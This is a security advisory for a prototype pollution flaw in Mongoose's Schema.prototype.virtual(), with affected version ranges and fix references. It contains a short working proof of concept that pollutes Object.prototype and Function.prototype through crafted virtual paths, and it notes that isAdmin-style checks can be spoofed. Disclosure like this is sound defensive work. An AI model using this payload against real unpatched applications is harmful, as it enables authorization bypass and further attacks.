Mongoose: Prototype pollution via Schema.prototype.virtual()
🔗 CVE IDs covered (1)
📋 Description
Summary
Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.
Details
In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759
Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).
A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.
Proof of concept
const mongoose = require('mongoose');
const schema = new mongoose.Schema({});
schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true
schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true
schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype polluted
Impact
Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).
🎯 Affected products4
- npm/mongoose:< 6.13.12
- npm/mongoose:>= 7.0.0, < 7.8.13
- npm/mongoose:>= 8.0.0, < 8.24.7
- npm/mongoose:>= 9.0.0, < 9.11.4
🔗 References (11)
- https://github.com/Automattic/mongoose/security/advisories/GHSA-6972-9mcm-vhwj
- https://nvd.nist.gov/vuln/detail/CVE-2026-125118
- https://github.com/Automattic/mongoose/commit/318f7e09dd363a1dfddb8180878488dccd2796d1
- https://github.com/Automattic/mongoose/commit/74df7769b5a8d89c4413b764029911ee915ea467
- https://github.com/Automattic/mongoose/commit/7a2a6567abbb72c0430c8cc5b7942141844fecff
- https://github.com/Automattic/mongoose/commit/fb467e6d33174293dc0360649f20ce68d99117a9
- https://github.com/Automattic/mongoose/releases/tag/6.13.12
- https://github.com/Automattic/mongoose/releases/tag/7.8.13
- https://github.com/Automattic/mongoose/releases/tag/8.24.7
- https://github.com/Automattic/mongoose/releases/tag/9.11.4
- https://github.com/advisories/GHSA-6972-9mcm-vhwj